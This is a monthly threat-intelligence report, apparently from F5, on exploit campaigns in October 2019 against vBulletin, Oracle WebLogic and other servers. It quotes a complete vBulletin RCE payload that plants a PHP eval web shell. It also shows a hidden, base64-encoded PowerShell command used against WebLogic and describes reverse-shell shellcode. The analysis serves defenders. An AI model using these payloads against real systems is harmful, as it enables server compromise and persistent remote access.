App Tiers Affected:
Security researchers at F5 Networks constantly monitor web traffic at various locations all over the world. This allows us to detect “in the wild” malware, and to get an insight into the current threat landscape.
Here’s an overview of the new threat activity we saw in October 2019. Attack campaigns were up 40% from September.
- Two campaigns targeting vBulletin servers vulnerable to Remote Code Execution (RCE) vulnerability (CVE-2019-16759).
- Four campaigns targeting Oracle WebLogic servers vulnerable to WLS Security Component Remote Code Execution (RCE) vulnerability (CVE-2017-10271).
- In addition to these campaigns, the following were also detected:
- FortiOS system file leak vulnerability (CVE-2018-13379). This campaign aims to identify vulnerable Fortinet SSL VPN servers.
- ElasticSearch Search Groovy Sandbox Bypass (CVE-2015-1427). This campaign aims to exploit ElasticSearch servers vulnerable to ElasticSearch Groovy Scripting Engine Sandbox Security Bypass Vulnerability (CVE-2015-1427). The threat actor instructs the server to download and execute a malicious file.
- ThinkPHP Remote Code Execution (CVE-2018-10225). The threat actor instructs the server to download and execute a DDoS malware.
- JBoss ReadOnlyAccessFilter of HTTP Invoker Deserialization (CVE-2017-12149). This campaign aims to identify Windows-based JBoss servers vulnerable to JBoss ReadOnlyAccessFilter of HTTP Invoker Deserialization vulnerability. The threat actor instructs the server to download and execute a malicious file.
vBulletin Remote Code Execution (CVE-2019-16759)
In our September monthly wrap-up we discussed a new zero-day vulnerability affecting servers that run vBulletin. In October, we saw multiple threat actors running campaigns to exploit these vulnerable servers.
Some background on this vulnerability: On September 23, an anonymous researcher posted a Proof-of-concept (PoC) zero-day exploit on SecLists.org. The exploit targeted servers that run vBulletin (v5.0.0 - v5.5.4) CMS. The anonymous researcher did not indicate whether he or she tried to contact vBulletin maintainers to follow a responsible disclosure process. However, once the exploit PoC was available, threat actors wasted no time trying to exploit this vulnerability. We analyzed that vBulletin vulnerability in a previous article in this series.
According to ZoomEye, the number of websites using vBulletin has declined (see Figure 1). In our September monthly wrap-up, we noted that the total number of sites using vBulletin was 20,211. Running the scan again in November, we found that the number had dropped to 19,871 vulnerable instances.
This vulnerability continues to be seen in new campaigns and targeted in different ways. To accompany September’s analysis, we’re presenting new analysis here on a different attack campaign targeting the same vulnerability. In October, threat actors were very focused on executing commands remotely.
Initial Request
To exploit this vulnerability, a threat actor needs to send a POST request to a vulnerable vBulletin server. The content of the POST request should look like this:
routestring=ajax/render/widget_php&widgetConfig[code]=CODE_TO_BE_EXECUTED.
Therefore, the payload to exploit this vulnerability is in the widgetConfig[code] parameter. The full post request is shown in Figure 2.
Payload Analysis
The value for the "code" parameter in the POST request is passed as a string to exec() function. The threat actor sends a URL encoded string in the "code" parameter.
routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('whoami');
echo md5('vBulletin');
echo '->|';
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));
echo '|<-';
exit;
The threat actor creates a file named webconfig.txt.php within the webserver's root directory. The content of the file is "<?php eval($_POST[1]);?>". This allows the threat actor to execute commands by sending a POST request to this page. The commands are then executed with the same permission set as the user account running the web server.
Oracle WebLogic ASYNC Security Component Remote Code Execution (CVE-2017-10271)
Oracle WebLogic is a popular application server built using Java. Over the years, we've seen multiple deserialization vulnerabilities affecting these servers. We have covered these vulnerabilities in previous editions of this monthly series.
A new campaign targeting this vulnerability was detected in October; the goal was to execute commands remotely. This differs from previous campaigns attempting to exploit this vulnerability and install crypto mining malware. In this case, to remotely execute commands, a threat actor sent a POST request to a vulnerable WebLogic server with a SOAP message that triggered this deserialization vulnerability.
Initial Request
The threat actor sends a POST request to a vulnerable server. The request uses Java.land.ProcessBuilder to execute a new process. The command passed to the ProcessBuilder is cmd /c %COMSPEC% /b/c start /b /min powershell.exe -nop -w hidden -e <BASE64EncodedCommand>.
Payload Analysis
Once the initial request completes, the payload (sent by the threat actor) that targets this deserialization vulnerability is executed.
COMSPEC (or ComSpec) is one of the environment variables used in DOS, OS/2, and Windows. It normally points to the command line interpreter, which is by default COMMAND.COM in DOS or CMD.EXE in OS/2 and Windows NT. The script then invokes powershell.exe and provides the following arguments:
-nop (-NoProfile): Does not load the PowerShell profile.
-w (-WindowStyle): Sets the window style for the session.
-e (-EncodedCommand <Base64EncodedCommand>): Accepts a base-64-encoded string version of a command. The string must be formatted using UTF-16LE character encoding.
Figure 4 shows the Base64-decoded command passed to the -e argument. A vulnerable server executes this command.
After decoding the Base64-encoded command string, the command will contain a PowerShell script. The script first checks whether the running process is 32-bit or 64-bit by checking the size of IntPtr. The script then invokes another PowerShell script that contains a compressed Base64- encoded string using a Gzip compression algorithm.
The script uses random function and variable names to avoid detection by antivirus engines. It also contains another Base64-encoded payload. The threat actor uses .Net APIs to call the Windows API. For example, the script uses the .NET API to find address of VirtualAlloc function exported by kernel32.dll. It then marshals the shellcode by using the pointer to the VirtualAlloc function. In the second call to .NET API, it calls the CreateThread function which is also exported by the kernel32.dll file. The shellcode opens a reverse shell back to the threat actor's machine. This allows for remote code execution, the ultimate goal of this campaign.
Conclusion
Campaigns aimed at targeting Oracle WebLogic continue to rise in popularity. This has been fueled in part by the zero-day vulnerability found in April (CVE-2019-2725). Oracle WebLogic is used widely by large corporations, and the servers are resource intensive. This attracts threat actors looking to exploit the processing power of these servers and remotely execute commands. What makes this month’s vBulletin and Oracle WebLogic campaigns unique is that they don’t seek to install crypto miners as we’ve seen in past months. These campaigns are solely focused on executing commands remotely.
Deserialization vulnerabilities have existed since the inception of serialization. Unsafe deserialization stems from improper input validation. Therefore, it is important for application developers to consider (and secure) the different channels through which inputs to a deserialization function can be received. It’s also important to have a team that monitors the health of your critical systems. A stealthy threat actor might try to harness multiple exploited servers, only using a moderate amount of processing power on each, to avoid detection.
For most organizations, a web application firewall (WAF) serves as the first line of defense for their applications. One that’s well-monitored, configured, and updated should also be able to stop these threat actors from exploiting vulnerable systems within a network.
F5 security researchers continuously monitor new web application exploits to deliver the latest threat intelligence to our customers, as well as the broader IT security community. Join us in continuing the conversation on social media.
Security Controls
The following security controls are recommended to mitigate these campaigns:
